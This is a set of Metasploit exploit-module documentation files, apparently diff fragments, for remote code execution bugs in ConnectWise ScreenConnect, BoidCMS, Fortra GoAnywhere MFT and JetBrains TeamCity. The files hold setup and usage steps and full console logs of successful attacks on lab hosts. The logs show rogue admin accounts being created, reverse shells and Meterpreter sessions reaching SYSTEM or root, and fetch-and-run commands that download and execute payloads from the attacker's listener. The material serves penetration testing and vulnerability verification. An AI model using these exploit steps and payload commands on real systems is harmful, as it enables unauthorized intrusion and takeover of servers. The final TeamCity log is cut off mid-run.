msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
[*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
[*] Created account: jwrrtiro:Jd6PXdiH2MwGw2Nq (Note: This account will not be deleted by the module)
[*] Uploaded Extension: c9bf4ee9-90b2-1ba7-ae4c-54ba6ee36a81
[*] Removing Extension: c9bf4ee9-90b2-1ba7-ae4c-54ba6ee36a81
[*] Sending stage (201798 bytes) to 192.168.86.50
[+] Deleted C:\Program Files (x86)\ScreenConnect\App_Extensions\nayjdyti.ashx
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.50:50550) at 2024-02-22 14:45:01 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-V28QNSO2H05
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > pwd
C:\Windows\system32
meterpreter > exit
[*] Shutting down session: 3
[*] 192.168.86.50 - Meterpreter session 3 closed. Reason: User exit
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
```
#### Linux Command
Note: Linux targets run an older version of ScreenConnect, which require an older version of Linux (Ubuntu 18.04 in
our testing), so `CURL` may not be available, the `FETCH_COMMAND` can be set to `WGET` instead. The `FETCH_WRITABLE_DIR`
should be set to a suitable value like `/tmp`.
```
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.72
RHOST => 192.168.86.72
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 2
target => 2
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR /tmp
FETCH_WRITABLE_DIR => /tmp
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.72 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8040 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME whUoZoNn no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
[*] 192.168.86.72:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux.
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux.
[!] Did not locate the __VIEWSTATEGENERATOR.
[!] Did not locate the __VIEWSTATEGENERATOR.
[*] Created account: mvyzbmti:HhstWDEb59XYRfME (Note: This account will not be deleted by the module)
[!] Could not locate anti forgery token after login with admin credentials.
[*] Uploaded Extension: 347933e7-dbaf-1c86-eca1-2a873c31b04d
[*] Sending stage (3045380 bytes) to 192.168.86.72
[*] Removing Extension: 347933e7-dbaf-1c86-eca1-2a873c31b04d
[+] Deleted App_Extensions/pxstqhwe.ashx
[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.72:36862) at 2024-02-22 14:47:33 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.86.72
OS : Ubuntu 18.04 (Linux 5.4.0-84-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/opt/screenconnect
meterpreter > exit
[*] Shutting down session: 4
[*] 192.168.86.72 - Meterpreter session 4 closed. Reason: User exit
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
```
@@ -0,0 +1,234 @@
## Vulnerable Application
This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
and below. BoidCMS allows the authenticated upload of a php file as media if the file has
the GIF header, even if the file is a php file.
Once the file is uploaded, a user can then feed a command to the php file in a `GET` request.
## Installation
### Ubuntu 22.01.1x64 (Any 'nix should work)
1. `sudo apt-get install apache2 #install apache`
2. `sudo apt-get install php8.0 #install php`
3. `sudo a2enmod rewrite #enable mod_rewrite`
4. `sudo systemctl restart apache2 #restart apache2`
5. Follow installation instructions here: https://boidcms.github.io/#/install
a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
the contents into the `/var/www/html/` folder on the apache server.
b. Add
`$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );`
before the following line:
`$App->render();`
6. `reboot`
7. `cd /var/www/html`
8. `sudo php -S [ip_address]:8080 #start php server`
### Windows 2019 server (Any Windows should work)
1. Download and install XMAPP for Windows from https://www.apachefriends.org/download.html
2. Reboot
3. Open XAMPP Control panel as admin.
4. Follow installation instructions here: https://boidcms.github.io/#/install
a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
the contents into the `C:\xampp\htdocs\` folder on the apache server.
b. Add
`$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );`
before the following line:
`$App->render();`
5. Verify that mod_rewrite is enabled for Apache.
a. Click on the `Config` button beside the Apache status in XAMPP Control panel
b. Select the httpd.conf
c. Verify `LoadModule rewrite_module modules/mod_rewrite.so` is uncommented
d. Restart Apache if you needed to uncomment the above line
6. Start the php server
a. Open cmd window as Administrator
b. `cd C:\xampp\htdocs\`
c. `C:\xampp\php\php.exe -S 10.5.134.102:8080` #I don't know why we start the server on port 8080,
but on windows, we access with the rport value of 80.
## Verification Steps
1. Install BoidCMS
1. Start msfconsole
1. Do: `use exploit/multi/http/cve_2023_38836_boidcms`
1. Do: `set CMS_USERNAME [username]`
1. Do: `set CMS_PASSWORD [password]`
1. Do: `set TARGETURI [target uri]`
1. Do: `run`
1. You should get a shell.
## Options
### CMS_USERNAME
The username for the BoidCMS admin panel. Default is `admin`
### CMS_PASSWORD
The username for the BoidCMS admin panel. Default is `password`
### TARGETURI
The root of the web page BoidCMS manages. Empty string by default.
## Scenarios
### BoidCMS on Ubuntu 22.04.1x64
```
msf6 exploit(multi/http/cve_2023_38836_boidcms) > show options
Module options (exploit/multi/http/cve_2023_38836_boidcms):
Name Current Setting Required Description
---- --------------- -------- -----------
CMS_PASSWORD password yes Password
CMS_USERNAME admin yes Username
PHP_FILENAME eI1lHLx.php yes The name for the php file to upload
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.5.134.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI yes The path
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME LZfjvRRrNR no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 nix Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/cve_2023_38836_boidcms) > run
[*] Command to run on remote host: wget -qO /tmp/oEsnOArk http://10.5.135.201:8080/v3vZxR3P-stuKWjUe6pCeA; chmod +x /tmp/oEsnOArk; /tmp/oEsnOArk &
[*] Fetch Handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /v3vZxR3P-stuKWjUe6pCeA
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Detected BoidCMS, but the version is unknown.
[*] Getting Token
[*] Logging into CMS
[*] Uploading PHP file eI1lHLx.php
[*] launching Payload
[*] Client 10.5.134.129 requested /v3vZxR3P-stuKWjUe6pCeA
[*] Sending payload to 10.5.134.129 (Wget/1.21.2)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.5.134.129
[+] Deleted eI1lHLx.php
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.129:49168) at 2024-02-16 16:32:33 -0600
meterpreter > sysinfo
Computer : 10.5.134.129
OS : Ubuntu 22.04 (Linux 6.5.0-17-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
meterpreter >
```
### BoidCMS on Windows Server 2019x64
```
msf6 exploit(multi/http/cve_2023_38836_boidcms) > show options
Module options (exploit/multi/http/cve_2023_38836_boidcms):
Name Current Setting Required Description
---- --------------- -------- -----------
CMS_PASSWORD password yes Password
CMS_USERNAME admin yes Username
PHP_FILENAME eI1lHLx.php yes The name for the php file to upload
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.5.134.102 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI yes The path
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME EwRzYaki no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/cve_2023_38836_boidcms) > run
[*] Command to run on remote host: curl -so %TEMP%\YnmWUfMzCxY.exe http://10.5.135.201:8080/h8r3u5VU3v-qeqUW3_anLw & start /B %TEMP%\YnmWUfMzCxY.exe
[*] Fetch Handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /h8r3u5VU3v-qeqUW3_anLw
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Detected BoidCMS, but the version is unknown.
[*] Getting Token
[*] Logging into CMS
[*] Uploading PHP file eI1lHLx.php
[*] launching Payload
[*] Client 10.5.134.102 requested /h8r3u5VU3v-qeqUW3_anLw
[*] Sending payload to 10.5.134.102 (curl/7.55.1)
[+] Deleted eI1lHLx.php
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.134.102:50085) at 2024-02-16 16:41:48 -0600
meterpreter > sysinfo
Computer : WIN-2E6BPFGP9F7
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN-2E6BPFGP9F7\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
```
@@ -0,0 +1,166 @@
## Vulnerable Application
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
## Testing
To test use Fortra GoAnywhere 7.4.0. You will need to register for a trial from the Fortra website in order to
receive a 30 day trial license. The portal where you receive a trial license will only let you download the most
recent version of the product, so you will also need to have access to an installer for an older, vulnerable version
of the product to install and test on.
## Verification Steps
The exploits default target 0 (Automatic), will detect the target systems OS, so you do not need to specify the target
OS (Linux or Windows).
1. Start msfconsole
2. `use exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set PAYLOAD java/jsp_shell_reverse_tcp`
6. `check`
7. `exploit`
## Options
### GOANYWHERE_INSTALL_PATH
This is the file system path to the GoAnywhere MFT installation. If the target is set to `Automatic`, then this path
will be discovered automatically.
## Scenarios
The Automatic target will detect the GoAnywhere MFT servers OS and select the correct target, or you can explicitly
select a target platform (Linux or Windows).
### Automatic (Linux)
```
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options
Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.100.1.30 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
sploit.html
RPORT 8001 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /goanywhere/ yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.100.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
[*] 10.100.1.30:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit
[*] Started reverse TCP handler on 10.100.1.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
[*] Created account: uchvkpgt:ZindpxggDdvtrxu3
[*] Automatic targeting, detected OS: Linux
[*] Automatic targeting, detected install path: /opt/HelpSystems/GoAnywhere
[*] Dropped payload: /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
[+] Deleted /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
[!] Tried to delete /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/EIlMlYdQ.jsp, unknown result
[+] Deleted /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/
[*] Command shell session 4 opened (10.100.1.10:4444 -> 10.100.1.30:49572) at 2024-01-29 17:49:08 +0000
id
uid=1002(gamft) gid=1002(gamft) groups=1002(gamft)
pwd
/opt/HelpSystems/GoAnywhere
uname -a
Linux ubuntu-test-vm 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 10.100.1.30 - Command shell session 8 closed.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) >
```
### Automatic (Windows)
```
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options
Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.100.1.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
sploit.html
RPORT 8001 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /goanywhere/ yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.100.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
[*] 10.100.1.20:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit
[*] Started reverse TCP handler on 10.100.1.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
[*] Created account: ckgbeqlo:ib0Qk3cMDvnaipTP
[*] Automatic targeting, detected OS: Windows
[*] Automatic targeting, detected install path: C:\Program Files\Fortra\GoAnywhere
[*] Dropped payload: C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp, unknown result
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\b9OvIFdK.jsp, unknown result
[*] Command shell session 9 opened (10.100.1.10:4444 -> 10.100.1.20:57059) at 2024-01-29 16:31:01 +0000
[!] This exploit may require manual cleanup of 'C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\' on the target
Shell Banner:
Microsoft Windows [Version 10.0.20348.1607]
(c) Microsoft Corporation. All rights reserved.
-----
C:\Program Files\Fortra\GoAnywhere>whoami
whoami
nt authority\system
C:\Program Files\Fortra\GoAnywhere>exit
exit
[*] 10.100.1.20 - Command shell session 9 closed.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) >
```
@@ -0,0 +1,448 @@
## Vulnerable Application
This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated
attacker can leverage this to access the REST API and create a new administrator access token. This token
can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
so the exploit will instead create a new administrator account before uploading a plugin. Older version of
TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,
however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code
execution instead, as this is supported on all versions tested.
For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis).
## Testing
[Download](https://www.jetbrains.com/teamcity/download/) and
[install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of
TeamCity for either Windows or Linux, e.g. version 2023.11.3. By default the server will listen for HTTP
connections on port 8111 (Older version of the product listen on port 80 by default).
The exploit has been tested against:
* TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
* TeamCity 2023.11.2 (build 147486) running on Windows Server 2022
* TeamCity 2023.11.3 (build 147512) running on Linux
* TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
## Verification Steps
Note: On Windows, disable Defender if you are using the default payloads.
Note: The check routine will display the target platform, this can be used to decide what target to select if the
command payloads are to be used. The Java payloads are platform agnostic.
1. Start msfconsole
2. `use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set payload java/meterpreter/reverse_tcp`
6. `set LHOST eth0`
7. `check`
8. `exploit`
## Options
### TEAMCITY_ADMIN_ID
The user ID of an administrator account on the server. As the first user created during installation is an
administrator account, the ID will be 1 by default.
## Scenarios
### Java
```
msf6 > use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOST 192.168.86.68
RHOST => 192.168.86.68
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Java
1 Java Server Page
2 Windows Command
3 Linux Command
4 Unix Command
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 0
target => 0
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.c1hvczdQOUFMX2J5Z3NiZU9MYzFDSEdPQ213.Mzk3NmQ5MmQtOTBmOC00OGNjLTkyNWEtMzRhYWI2YzUwMTU4
[*] Uploading plugin: TdbCU0EE
[*] Sending stage (57971 bytes) to 192.168.86.68
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.68:53099) at 2024-02-23 14:13:22 +0000
[*] Deleting the plugin...
[*] Deleting the authentication token...
[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\TdbCU0EE' on the target
[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_TdbCU0EE' on the target
[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\TdbCU0EE' on the target
meterpreter > getuid
Server username: WIN-CMULENHFCK7$
meterpreter > sysinfo
Computer : WIN-CMULENHFCK7
OS : Windows Server 2022 10.0 (amd64)
Architecture : x64
System Language : en_IE
Meterpreter : java/windows
meterpreter >
```
### Java Server Page
```
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 1
target => 1
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CreateSession true no Create a new session for every successful login
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
1 Java Server Page
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.OFNzM2pkZW5IMXp0V2stY2VqWEtOZkpoOW9Z.ZWU4Y2I2ODgtZDQzMS00ZjE5LTk5NzgtNGY5YzMwM2VmMjcx
[*] Uploading plugin: jWHObFbu
[*] Deleting the plugin...
[*] Deleting the authentication token...
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.68:53110) at 2024-02-23 14:20:35 +0000
[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\jWHObFbu' on the target
[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_jWHObFbu' on the target
[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\jWHObFbu' on the target
Shell Banner:
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
-----
c:\TeamCity\bin>whoami
whoami
nt authority\system
c:\TeamCity\bin>
```
### Windows Command
Note: Ensure the target is a Windows target by confirming via the `check` command.
Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CERTUTIL`.
Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `%TEMP%`.
```
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 2
target => 2
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/
Display all 623 possibilities? (y or n)
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME qaZbVnKb no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ZHpiZmNJMlB1b2Zqam5NSkw0bk1JS1hFdlZz.MjVjZDQ3YjEtODM2YS00Y2I1LWE3ODEtMzUzMTgzMDc4NjA3
[*] Uploading plugin: RzeS0eJP
[*] Deleting the plugin...
[*] Sending stage (201798 bytes) to 192.168.86.68
[*] Deleting the authentication token...
